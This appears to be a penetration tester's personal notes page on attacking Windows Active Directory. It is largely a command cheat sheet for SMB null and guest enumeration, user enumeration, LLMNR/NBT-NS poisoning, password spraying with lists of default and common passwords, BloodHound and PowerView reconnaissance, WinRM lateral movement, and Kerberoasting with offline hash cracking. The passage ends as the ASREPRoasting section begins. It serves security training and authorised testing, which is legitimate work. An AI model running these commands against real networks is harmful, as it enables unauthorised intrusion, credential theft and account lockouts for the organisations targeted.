# /home/sfoffo/.pt-notes

```shell
sfoffo@notes:~$ cat /home/sfoffo/.pt-notes
A collection of practical insights and experiences from my
journey in offensive security and penetration testing.
```

***

## **About me**

{% hint style="success" %}
**I have started documenting my research articles on my other website, check it out!**\
[**https://research.sfoffo.com/**](https://research.sfoffo.com/)
{% endhint %}

| Category          | Link                                                                                                                                                                                                                                                                                                                                                               |
| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Published CVEs    | <p><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-42845">CVE-2024-42845</a> <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41819">CVE-2024-41819</a><br><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41943">CVE-2024-41943</a>  <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-50344">CVE-2024-50344</a></p>         |
| Published Content | <p><a href="https://research.sfoffo.com/"><strong>My Research Blog</strong></a><br><a href="https://app.hackthebox.com/challenges/952">HackTheBox NotPosixtive Challenge</a></p>                                                                                                                                                                                   |
| Certifications    | [OSCP](https://www.credential.net/0f20fd98-e959-487c-b8cf-071e2dd6a004#gs.e5z68u) [CPTS](https://www.credly.com/org/hack-the-box/badge/hack-the-box-certified-penetration-testing-specialist-htb-cpts) [eWPTv2](https://certs.ine.com/e7ae9538-ed08-4f3e-8f44-30bad423de84#gs.e5y7a1) [eJPT](https://certs.ine.com/87729a83-8099-4e25-81e4-0cb321ae7622#gs.e63juk) |
| My Profiles       | <p><a href="https://it.linkedin.com/in/alessio-romano">LinkedIn</a>  <a href="https://app.hackthebox.com/profile/347632">Hack the Box</a><br><a href="https://github.com/alessio-romano">GitHub</a> <a href="https://www.exploit-db.com/?author=12194">Exploit-DB</a></p>                                                                                          |

***

## **Disclaimer**

```shell
sfoffo@notes:~$ cat /home/sfoffo/.disclaimer
⚠️ Disclaimer: These notes are for educational and research purposes only.
Any misuse for illegal or unethical activities is strictly prohibited.
The author assumes no responsibility for misuse or damages arising from the content.
```


# Active Directory

## **Active Directory Basics**

Active Directory (AD) is a directory service for Windows network environments.\
AD provides authentication and authorization functions within a Windows domain environment.\
It's a hierarchical structure that allows for centralized management of an organization's resources

Resources in AD can be users, computers, groups, network devices, file shares, group policies, devices, and trusts. Any user in AD, regardless of their privileges, can be used to enumerate most objects within the AD environment.&#x20;

Many features in AD are not secure by default and can be easily misconfigured.\
This weakness can be leveraged to move laterally and vertically within a network and gain unauthorized access.

***

## **Useful Resources**

#### **Learning Resources**

* <https://book.hacktricks.xyz/windows-hardening/active-directory-methodology#basic-overview>
* <https://www.hackthebox.com/blog/active-directory-penetration-testing-cheatsheet-and-guide>
* <https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberos-authentication>
* <https://academy.hackthebox.com/module/details/74>
* <https://www.geeksforgeeks.org/active-directory-pentesting/>

#### **Other Useful Resources & Cheatsheets**

* <https://wadcoms.github.io/>
* <https://github.com/geeksniper/active-directory-pentest>

#### **Active Directory Helper Tools**

| Tool                                                                                                                                          | Description                                                                                                                                                                                                                                                                                 |
| --------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [Ghostpack Compiled Binaries](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries)                                                    | Repository containing some of the following tools' pre-compiled binaries                                                                                                                                                                                                                    |
| [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)                                                   | PowerView is one of the main powershell tools to perform network and Windows domain enumeration and exploitation. It is useful for checking access, permissions, but also to enumerate potential users for Kerberoasting/ASREPRoasting attacks                                              |
| [Mimikatz](https://github.com/ParrotSec/mimikatz)                                                                                             | Performs many functions. Noteably, pass-the-hash attacks, extracting plaintext passwords, and kerberos ticket extraction from memory on host.                                                                                                                                               |
| [Active Directory Built-In PowerShell Module](https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) | Built-In Cmdlets to manage Active Directory domains, useful tool for enumeration                                                                                                                                                                                                            |
| [SharpView](https://github.com/dmchell/SharpView)                                                                                             | Sharpview is the C# version of PowerView                                                                                                                                                                                                                                                    |
| [BloodHound](https://github.com/BloodHoundAD/BloodHound)                                                                                      | Visually map out AD relationships and help plan attack paths that may otherwise go unnoticed.                                                                                                                                                                                               |
| [SharpHound](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors)                                                               | Data collector to gather information from Active Directory about varying AD objects such as users, groups, computers, ACLs, GPOs, user and computer attributes, user sessions, and more. The tool produces JSON files which can then be ingested into the BloodHound GUI tool for analysis. |
| [BloodHound.py](https://github.com/fox-it/BloodHound.py)                                                                                      | A Python-based BloodHound ingestor based on the [Impacket toolkit](https://github.com/CoreSecurity/impacket/). It supports most BloodHound collection methods and **can be run from a non-domain joined attacker host**. The output can be ingested into the BloodHound GUI for analysis.   |
| [Kerbrute](https://github.com/ropnop/kerbrute)                                                                                                | A tool written in Go that uses Kerberos Pre-Authentication to enumerate Active Directory accounts and perform password spraying and brute forcing.                                                                                                                                          |
| [Impacket toolkit](https://github.com/SecureAuthCorp/impacket)                                                                                | A collection of tools written in Python for interacting with network protocols. The suite of tools contains various scripts for enumerating and attacking Active Directory.                                                                                                                 |
| [Responder](https://github.com/lgandx/Responder)                                                                                              | Tool to poison LLMNR, NBT-NS and MDNS, with many different functions.                                                                                                                                                                                                                       |
| [Inveigh.ps1](https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1)                                                             | Similar to Responder, a PowerShell tool for performing various network spoofing and poisoning attacks.                                                                                                                                                                                      |
| [C# Inveigh (InveighZero)](https://github.com/Kevin-Robertson/Inveigh/tree/master/Inveigh)                                                    | C# version of Inveigh with a semi-interactive console for interacting with captured data such as username and password hashes.                                                                                                                                                              |
| [rpcclient](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html)                                                               | Tool that can be used to perform a variety of Active Directory enumeration tasks via the remote RPC service.                                                                                                                                                                                |
| [CrackMapExec (CME)](https://github.com/byt3bl33d3r/CrackMapExec)                                                                             | CME is an enumeration, attack, and post-exploitation toolkit. CME attempts to "live off the land" and abuse built-in AD features and protocols such as SMB, WMI, WinRM, and MSSQL.                                                                                                          |
| [Rubeus](https://github.com/GhostPack/Rubeus)                                                                                                 | C# tool built for Kerberos Abuse.                                                                                                                                                                                                                                                           |
| [GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py)                                              | Impacket module geared towards finding Service Principal names tied to normal users. Useful for Kerberoasting attacks.                                                                                                                                                                      |
| [enum4linux-ng](https://github.com/cddmp/enum4linux-ng)                                                                                       | Tool for enumerating information from Windows and Samba systems.                                                                                                                                                                                                                            |
| [ldapsearch](https://linux.die.net/man/1/ldapsearch)                                                                                          | Built in interface for interacting with the LDAP protocol.                                                                                                                                                                                                                                  |
| [windapsearch](https://github.com/ropnop/windapsearch)                                                                                        | A Python script used to enumerate AD users, groups, and computers using LDAP queries. Useful for automating custom LDAP queries.                                                                                                                                                            |
| [DomainPasswordSpray.ps1](https://github.com/dafthack/DomainPasswordSpray)                                                                    | DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain.                                                                                                                                                                           |
| [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)                                                                                      | Tool to leverage PowerView to audit and attack Active Directory environments that have deployed Microsoft's Local Administrator Password Solution (LAPS).                                                                                                                                   |
| [Snaffler](https://github.com/SnaffCon/Snaffler)                                                                                              | Tool for finding useful information and credentials in Active Directory on computers with accessible file shares.                                                                                                                                                                           |
| [setspn.exe](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241\(v=ws.11\))           | Reads, modifies, and deletes the Service Principal Names (SPN) directory property for an Active Directory service account. Useful for a targeted kerberoasting attack                                                                                                                       |
| [secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)                                              | Remotely dump SAM and LSA secrets from a host.                                                                                                                                                                                                                                              |
| [evil-winrm](https://github.com/Hackplayers/evil-winrm)                                                                                       | Provides us with an interactive shell on host over the WinRM protocol.                                                                                                                                                                                                                      |
| [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py)                                              | Part of Impacket toolset, it provides the ability to interact with MSSQL databases.                                                                                                                                                                                                         |
| [noPac.py](https://github.com/Ridter/noPac)                                                                                                   | Exploit combo using CVE-2021-42278 and CVE-2021-42287 to impersonate Domain Admin from standard domain user.                                                                                                                                                                                |
| [ntlmrelayx.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)                                                | Part of the Impacket toolset, it performs SMB relay attacks.                                                                                                                                                                                                                                |
| [gettgtpkinit.py](https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py)                                                        | Tool for manipulating certificates and TGTs.                                                                                                                                                                                                                                                |
| [adidnsdump](https://github.com/dirkjanm/adidnsdump)                                                                                          | A tool for enumeration and dumping of DNS records from a domain. Similar to performing a DNS Zone transfer.                                                                                                                                                                                 |
| [gpp-decrypt](https://github.com/t0thkr1s/gpp-decrypt)                                                                                        | Extracts usernames and passwords from Group Policy preferences.                                                                                                                                                                                                                             |
| [GetNPUsers.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py)                                                | Attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set.                                                                                                                                                                        |
| [lookupsid.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/lookupsid.py)                                                  | SID bruteforcing tool.                                                                                                                                                                                                                                                                      |
| [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)                                                    | A tool for creation and customization of TGT/TGS tickets.                                                                                                                                                                                                                                   |
| [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)                                                | Part of the Impacket toolset, It is a tool for child to parent domain privilege escalation.                                                                                                                                                                                                 |
| [Active Directory Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)                                               | AD viewer and editor that can be used to navigate an AD database and view object properties and attributes. It can also be used to save a snapshot of an AD database for offline analysis.                                                                                                  |
| [PingCastle](https://www.pingcastle.com/documentation/)                                                                                       | Used for auditing the security level of an AD environment                                                                                                                                                                                                                                   |
| [Group3r](https://github.com/Group3r/Group3r)                                                                                                 | Group3r is useful for auditing and finding security misconfigurations in AD Group Policy Objects (GPO).                                                                                                                                                                                     |
| [ADRecon](https://github.com/adrecon/ADRecon)                                                                                                 | A tool used to extract various data from a target AD environment.                                                                                                                                                                                                                           |


# Initial Access

After having access (eventually gained through pivoting after compromising a domain-joined host) to the network where the AD environment resides, you should enumerate all domain-joined hosts and their role in the AD environment. The main objective is to find the Domain Controller (DC) in order to move forward with the next enumeration steps.

To find hosts inside the AD environment:

* Ping sweep from linux: `fping -asgq 172.16.5.0/23`
* Scan the internal network using nmap

After that, there are several options to move forward:

1. Whenever possible, enumerate the SMB service and shares, checking for `NULL`, `guest` and SMB Common Credentials authentication
2. Enumerate existing users with kerbrute
3. If possible, enumerate password policies (requires valid credentials)
4. Leverage password spraying using Common AD Passwords
5. Leverage Responder (from Linux) or Inveigh (from Windows) to perform LLMNR/NTB-NS Poisoning

### **SMB NULL Session, Guest and Common Credentials Authentication**

* **Guest Authentication:** `enum4linux -a -u "guest" -p "" <DC IP>`
* **Guest Authentication:** `smbmap -u "guest" -p "" -P 445 -H <DC IP>`
* **Guest Authentication:** `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
* **NULL Session:** `smbclient -N -L //<FQDN/IP>`
* **NULL Session:** `crackmapexec smb <FQDN/IP> --shares -u '' -p ''`
* **NULL Session:** `smbmap -u "" -p "" -P 445 -H <DC IP>`
* **NULL Session:** `enum4linux -a -u "" -p "" <DC IP>`
* Check for other common SMB credentials, as listed below

### **Common SMB Credentials**

Source: <https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#possible-credentials>

| Common Username(s)   | Common Password                         |
| -------------------- | --------------------------------------- |
| (blank)              | (blank)                                 |
| guest                | (blank)                                 |
| Administrator, admin | (blank), password, administrator, admin |
| arcserve             | arcserve, backup                        |
| tivoli, tmersrvd     | tivoli, tmersrvd, admin                 |
| backupexec, backup   | backupexec, backup, arcada              |
| test, lab, demo      | password, test, lab, demo               |

***

### **Active Directory Users Enumeration**

{% hint style="warning" %}
Before enumerating users, it's recommended to understand the naming convention in use. Many targets might be using the conventions found in these common wordlists for user enumeration: [jsmith.txt](https://github.com/insidetrust/statistically-likely-usernames/blob/master/jsmith.txt) and [jsmith2.txt](https://github.com/insidetrust/statistically-likely-usernames/blob/master/jsmith2.txt) user lists from [Insidetrust](https://github.com/insidetrust/statistically-likely-usernames/tree/master).
{% endhint %}

**Enumerate users with Kerbrute:**

* Get Kerbrute's precompiled binary: <https://github.com/ropnop/kerbrute/releases/tag/v1.0.3>
* Enumerate Users: `kerbrute userenum -d DOMAINNAME.EXAMPLE --dc 172.16.5.5 jsmith.txt -o valid_ad_users`

**Enumerate users with WindapSearch:**

* Get WindapSearch: `git clone https://github.com/ropnop/windapsearch.git`
* Enumerate Users: `./windapsearch.py --dc-ip 172.16.5.5 -u "" -U`

**Alternatives:**

* `enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]`
* `rpcclient -U "" -N 172.16.5.5` followed by `enumdomuser`
* `crackmapexec smb 172.16.5.5 --users`

***

### **LLMNR/NTB-NS Poisoning**

* LLMNR/NTB-NS poisoning refers to a Man in the Middle(MITM) attack on Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) broadcasts.
* LLMNR and NBT-NS are Microsoft Windows components that serve as **alternate methods of host identification that can be used when DNS fails**.
* If a machine attempts to resolve a host, but DNS resolution fails, typically, **the machine will try to ask all other machines on the local network for the correct host address via LLMNR**.
* If LLMNR fails, then NBT-NS will be used

> Basically, the idea is that when LLMNR/NBT-NS are used for name resolution, ANY host on the network can reply. This is where we come in with Responder to poison these requests.\
> This poisoning effort is done to get the victims to communicate with our system by pretending that our rogue system knows the location of the requested host.\
> \
> We can spoof an authoritative name resolution source (a host that's supposed to belong in the network segment) in the broadcast domain by responding to LLMNR and NBT-NS traffic as if they have an answer for the requesting host.\
> If the requested host requires name resolution or authentication actions, we can capture the NetNTLM hash and subject it to an offline brute force attack in an attempt to retrieve the cleartext password.\
> \
> The captured authentication request can also be relayed to access another host or used against a different protocol (such as LDAP) on the same host.\
> LLMNR/NBNS spoofing combined with a lack of SMB signing can often lead to administrative access on hosts within a domain.

**LLMNR/NTB-NS Poisoning from Linux with Responder:**

1. To start responder: `sudo responder -I ens224` where ens224 is the name of the network interface connected to the internal network where the AD environment resides
2. Results will be printed on screen while running, and saved inside the `/usr/share/responder/logs` directory
3. To crack an NTLMv2 hash with hashcat: `hashcat -m 5600 hashfile /usr/share/wordlists/rockyou.txt`

**LLMNR/NTB-NS Poisoning from Windows with Inveigh:**

1. Get Inveigh: `git clone https://github.com/Kevin-Robertson/Inveigh`
2. Use the following **Powershell** commands:
   * `Import-Module .\Inveigh.ps1`
   * `Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y`
3. Alternatively, use the compiled version of Inveigh with `.\Inveigh.exe`

***

### **Password Policies Enumeration**

> Before performing password spraying, it's a good idea to enumerate the password policy in order to avoid locking out the target user's account.\
> This is also useful to find out the minimum password complexity requirements.

**Enumerate the Password Policy from Linux:**

1. CME with credentials: crackmapexec smb 172.16.5.5 -u validuser -p validpass --pass-pol
2. RPCClient with NULL Session: `rpcclient -U "" -N 172.16.5.5` followed by `querydominfo`
3. Enum4Linux: `enum4linux -P 172.16.5.5`
4. Enum4linux-ng with output to YAML and JSON: `enum4linux-ng -P 172.16.5.5 -oA outputfile`

**Enumerate the Password Policy from Windows:**

1. `net accounts`
2. Powerview: `Import-Module .\PowerView.ps1` followed by `Get-DomainPolicy`

***

### **Password Spraying**

> This attack involves attempting to log into an exposed service using one common password and a longer list of usernames or email addresses.\
> \
> The usernames and emails may have been gathered during the OSINT phase of the penetration test or during our initial enumeration attempts.

**Perform Password Spraying from Linux:**

1. Bash One-Liner using rpcclient:\
   `for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done`
2. Using Kerbrute:\
   `kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1`
3. Using CrackMapExec:\
   `sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +`

**Perform Password Spraying from Windows:**

1. Using [CleverSpray](https://github.com/wavestone-cdt/Invoke-CleverSpray) (recommended):
   1. `Import-Module .\Invoke-CleverSpray.ps1`
   2. `Invoke-CleverSpray -Password "Password-To-Spray"`
2. Using [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray):
   1. `Import-Module .\DomainPasswordSpray.ps1`
   2. `Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue`

### **Common AD Users' Passwords**

* Welcome1, Welcome123
* Password123, Passw0rd, password1, Password1
* 123456, 12345678, qwerty, abc123, iloveyou,


# Internal Enumeration & Lateral Movement

> After finding valid credentials to authenticate to the active directory environment, your final objective is to compromise the entire Active Directory environment.\
> In order to do so, you will probably need to move laterally between users and machine until getting privileged access to the domain controller

## **Enumerating Security Controls**

**Enumerate Windows Defender and App Locker policies from PowerShell:**

1. Check the status of Windows Defender:\
   `Get-MpComputerStatus`
2. View AppLocker policies:\
   `Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections`
3. Discover the PowerShell Language Mode being used:\
   `$ExecutionContext.SessionState.LanguageMode`

**Enumerate Windows Local Administrator Password Solution (LAPS):**

> LAPS allows management of unique, randomised local admin passwords on domain-joined hosts.\
> These passwords are centrally stored in Active Directory and restricted to some users through ACLs.\
> **Enumerating LAPS can be useful to find users who have read access to the LAPS passwords**

**Reference/Useful Resource:**\
<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps>

**LAPS Toolkit:**

1. Get [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)
2. Import the module in Powershell using `Import-Module .\LAPSToolkit.ps1`
3. Discover LAPS Delegated Groups: `Find-LAPSDelegatedGroups`
4. Check the rights on each computer with LAPS enabled for any groups with read access and users with All Extended Rights: `Find-AdmPwdExtendedRights`
5. Search for computers that have LAPS enabled. This function can discover password expiration and randomized passwords: `Get-LAPSComputers`

***

## **Authenticated Enumeration**

#### **Enumeration using BloodHound**

* **Linux:** Collect data using the [BloodHound Python Collector](https://github.com/fox-it/BloodHound.py):\
  `sudo bloodhound-python --zip -c All -d example.domain -u 'username' -p 'password' -ns nameserver-ip`
* **Windows:** Collect data:
  * using [SharpHound Collector](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors):\
    `.\SharpHound.exe -c All --zipfilename NAME`
  * Using [SharpHound.ps1](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1):\
    `Import-Module .\SharpHound.ps1` followed by `Invoke-Bloodhound -collectionmethod all -domain example.test -ldapuser validuserldap -ldappass hispass`
* Run the local Neo4J instance using `neo4j start` and login using the credentials you provided during the setup, then run `bloodhound` and, finally, upload the ZIP Files obtained by running `bloodhound.py`
* Enumerate the active directory environment using the bloodhound GUI and Cipher Queries:
  * Bloodhound Cipher Queries - Useful Resource:\
    <https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/>
  * Getting started with BloodHound GUI:\
    <https://bloodhound.readthedocs.io/en/latest/data-analysis/bloodhound-gui.html>

#### **Users and Groups Enumeration**

* PowerShell Oneliner to find all group membership of the current user:\
  `(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf`
* CrackMapExec (CME) Users Enumeration:\
  `sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword --users`
* CME Users Enumeration via rid bruteforce:\
  `sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword --rid-brute`
* [WindapSearch](https://github.com/ropnop/go-windapsearch) user enumeration:\
  `./windapsearch -d domain.example --dc 10.10.11.35 -u 'user' -p 'password' -m users`
* CME Groups Discovery:\
  `sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword --groups`
* CME Logged Users Discovery:\
  `sudo crackmapexec smb 172.16.5.125 -u validuser -p validpassword --loggedon-users`
* RPCClient users and relative identifiers enumeration:\
  `rpcclient --user domain\username%password ip` followed by `enumdomusers`
* RPCClient specific user enumeration through relative identifier:\
  `rpcclient --user domain\username%password ip` followed by `queryuser 0x457`
* WindapSearch Domain Admins Group Discovery:\
  `python3 windapsearch.py --dc-ip 172.16.5.5 -u domain\validuser -p validpassword --da`
* WindapSearch Recursive Discovery of users with nester permissions:\
  `python3 windapsearch.py --dc-ip 172.16.5.5 -u domain\validuser -p validpassword -PU`
* PS Active Directory Module - Enumerate Groups:\
  `Import-Module ActiveDirectory` followed by `Get-ADGroup -Filter *`
* PS Active Directory Module - Enumerate Specific Group:\
  `Import-Module ActiveDirectory` followed by `Get-ADGroup -Identity "Backup Operators"`
* PS Active Directory Module - Discover Members of a specific Group:\
  `Import-Module ActiveDirectory` followed by `Get-ADGroupMember -Identity "Backup Operators"`

#### **Lateral Movement**

1. Query domain controllers: `netdom query /domain:inlanefreight.local dc`
2. Query workstations and servers: `netdom query /domain:inlanefreight.local workstation`
3. Enumerate the Remote Desktop Users (RDP) group on a Windows target: `Get-NetLocalGroupMember -ComputerName NAME -GroupName "Remote Desktop Users"`
4. Enumerate the Remote Management Users (Win-RM) group on a Windows target:`Get-NetLocalGroupMember -ComputerName NAME -GroupName "Remote Management Users"`
5. Create a password variable: `$password = ConvertTo-SecureString "PasswordHere" -AsPlainText -Force`
6. Create a PS Credential Object: `$cred = new-object System.Management.Automation.PSCredential ("DOMAIN\username", $password)`
7. Get PowerShell session using a PS Credential Object: `Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred`
8. Get a PowerShell session through WinRM - Linux: `evil-winrm -i 10.129.201.234 -u forend`

#### **SMB Shares Enumeration**

* Run [Snaffler](https://github.com/SnaffCon/Snaffler) *from a Windows host* to find useful data in shares:\
  `.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data`
* Run [Scavenger](https://github.com/SpiderLabs/scavenger/tree/master) *from a Linux host* to find useful data in shares:\
  `python3 ./scavenger.py smb -t 10.0.0.10 -u administrator -p Password123 -d testdomain.local`
* CME Shares Enumeration:\
  `sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword --shares`
* CME Share Spidering:\
  `sudo crackmapexec smb 172.16.5.5 -u validuser -p validpassword -M spider_plus --share sharename`
* SMBMap Share Enumeration:\
  `smbmap -u validuser -p validpassword -d INLANEFREIGHT.LOCAL -H 172.16.5.5`
* SMBMap Share Recursive Directory Listing\
  `smbmap -u validuser -p validpassword -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SHARENAME --dir-only`
* Download Shares Recursively:\
  `smbget -u guest -R smb://10.129.8.111/Development/`

#### **Enumeration using PowerView**

> Always run `Import-Module .\PowerView.ps1` first to import the PowerView Module in the current PowerShell session

**Domain Information, ACLs & Policies**

* Return the current (or specified) domain information: `Get-Domain`
* Return the list of domain controllers for the specified domain: `Get-DomainController`
* Search all (or specific) organizational units (OUs): `Get-DomainOU`
* Find Objects ACLs: `Find-InterestingDomainAcl`
* Return a list of servers likely functioning as file servers: `Get-DomainFileServer`
* Return all file systems for the specified domain: `Get-DomainDFSShare`
* Return all (or specific) Group Policy Objects (GPOs): `Get-DomainGPO`
* Return the default domain policy or the domain controller policy: `Get-DomainPolicy`

**Users & Groups:**

* Convert a User or Group name to it's SID: `ConvertTo-SID <string>`
* Return all (or specific) users: `Get-DomainUser`
* Return all (or specific) computers: `Get-DomainComputer`
* Return all (or specific) groups: `Get-DomainGroup`
* Find members of a group: `Get-DomainGroupMember -Identity "Domain Admins" -Recurse`
* Find all local groups on local or remote machine: `Get-NetLocalGroup`
* Find all members of a local group: `Get-NetLocalGroupMember`
* Return session information for a remote machine or the local one: `Get-NetSession`
* Check if the current user has admin access to local or remote machine: `Test-AdminAccess`
* Enumerate machines where the current user has local admin access: `Find-LocalAdminAccess`

**Domain Shares:**

* Find a list of open shares on local or remote machine: `Get-NetShare`
* Find reachable shares on domain machines: `Find-DomainShare`
* Enumerate files in shares matching specific criteria: `Find-InterestingDomainShareFile`

**Domain & Forest Trusts:**

* Return domain trusts for a specified domain or the current one: `Get-DomainTrust`
* Return forest trusts for a specified forest or the current one: `Get-ForestTrust`
* Enumerate users who belong to groups outside of the user's domain: `Get-DomainForeignUser`
* Enumerate groups and members outside of the current domain: `Get-DomainForeignGroupMember`
* Enumerate all trusts for current domain and any others seen: `Get-DomainTrustMapping`

***

## **Kerberos**

Kerberos is the default authentication protocol for domain accounts. It is a stateless authentication protocol based on tickets, rather than transmitting user passwords over the network. Domain Controllers have a Kerberos Key Distribution Center (KDC) that issues tickets.\
\
The basic overview of the authentication process is the following:

1. When a user initiates a login request to a system, the client they are using to authenticate requests a ticket from the KDC, encrypting the request with the user's password.
2. If the KDC can decrypt the request (AS-REQ) using their password, it will create a Ticket Granting Ticket (TGT) and transmit it to the user.
3. The user then presents its TGT to a Domain Controller to request a Ticket Granting Service (TGS) ticket, encrypted with the associated service's NTLM password hash.
4. Finally, the client requests access to the required service by presenting the TGS to the application or service, which decrypts it with its password hash.

If the entire process completes appropriately, the user will be permitted to access the requested service or application.

***

### **Kerberoasting**

> Kerberoasting is a technique to collect TGS tickets for service accounts, which can be enumerated by any user since no special privileges are required. To check if a user account is a service user, you just need to check if the property "ServicePrincipalName" (SPN) is not null. In order words, the first step to perform Kerberoasting is to find users with the SPN property set.\
> The goal of Kerberoasting is to crack the TGS tickets for service accounts (with SPN set). The TGS tickets are encrypted with keys derived from user passwords. As a consequence, it's possible to gain the password of the targeted service user by offline password cracking.

{% hint style="warning" %}
If `impacket-GetUserSPNs`throws the following error\
`KRB_AP_ERR_SKEW(Clock skew too great)`\
we need to synchronize the time of the Kali machine with the domain controller.\
We can use `ntpdate` or `rdate` to do so: \
`sudo rdate -n domain-controller-ip`
{% endhint %}

1. **Enumerate service accounts with SPN set:**
   * Using GetUsersSPNs.py from Linux:\
     `impacket-GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/username`
   * Using the (built-in) Active Directory module:\
     `Import-Module ActiveDirectory` followed by `Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName`
   * Using PowerView:\
     `Import-Module .\PowerView.ps1` followed by `Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName`
   * Using setspn from Windows:\
     `setspn.exe -Q */*`
2. **Request TGS tickets:**
   * Request all tickets with GetUsersSPNs.py from Linux:\
     `impacket-GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/username -request -outputfile filename`
   * Request a single ticket with GetUsersSPNs.py from Linux:\
     `impacket-GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/username -request-user target-user -outputfile filename`
   * Request ticket with PowerView:\
     `Import-Module .\PowerView.ps1` followed by `Get-DomainUser -Identity targetuser | Get-DomainSPNTicket -Format Hashcat`
   * Request all tickets with setspn:\
     `setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }`
   * Request all tickets with mimikatz:\
     `base64 /out:true` followed by `kerberos::list /export`
   * Request specific ticket using Rubeus:\
     `.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast /nowrap`
   * Request tickets for users with admin count set to 1:\
     `.\Rubeus.exe kerberoast /ldapfilter:'admincount=1'`
   * Request all tickets using Rubeus:\
     `.\Rubeus.exe kerberoast /outfile:hashes.kerberoast /nowrap`
3. **Offline Password Cracking:**
   * Using Hashcat:\
     `hashcat -m 13100 tgstickethashfile /usr/share/wordlists/rockyou.txt`
   * Using John:\
     `john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes.kerberoast`

> Kerberoasting tools typically request RC4 encryption when performing the attack and initiating TGS-REQ requests. This is because RC4 is weaker and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.\
> To recognize if a ticket is encrypted with RC4, check the hash value:
>
> * Tickets encrypted with RC4 will begin with `$krb5tgs$23$*`
> * Tickets encrypted with AES will begin with `$krb5tgs$18$*` or `$krb5tgs$17$*`

***

### **ASREPRoasting**

> ASREPRoasting is a technique to steal the password hashes of user accounts that have Kerberos preauthentication disabled.\
> When preauthentication is enabled, a user who needs access to a resource begins the Kerberos authentication process by sending an Authentication Server Request (AS-REQ) message to the domain controller (DC). The timestamp on that message is encrypted with the hash of the user’s password.\
> \
> If the DC can decrypt that timestamp using its own record of the user’s password hash, it will send back an Authentication Server Response (AS-REP) message that contains a Ticket Granting Ticket (TGT) issued by the Key Distribution Center (KDC), which is used for future access requests by the user.\
> \
> However, if preauthentication is disabled, an attacker could request authentication data for any user and the DC would return an AS-REP message. Since part of that message is encrypted using the user’s password, the attacker can then attempt to brute-force the user’s password offline. Note that preauthentication is enabled by default in Active Directory. However, it can be manually disabled for some users accounts.

1. **Enumerate accounts without preauth required**
   * Windows: `Import PowerView.ps1` followed by `Get-DomainUser -PreauthNotRequired -verbose`
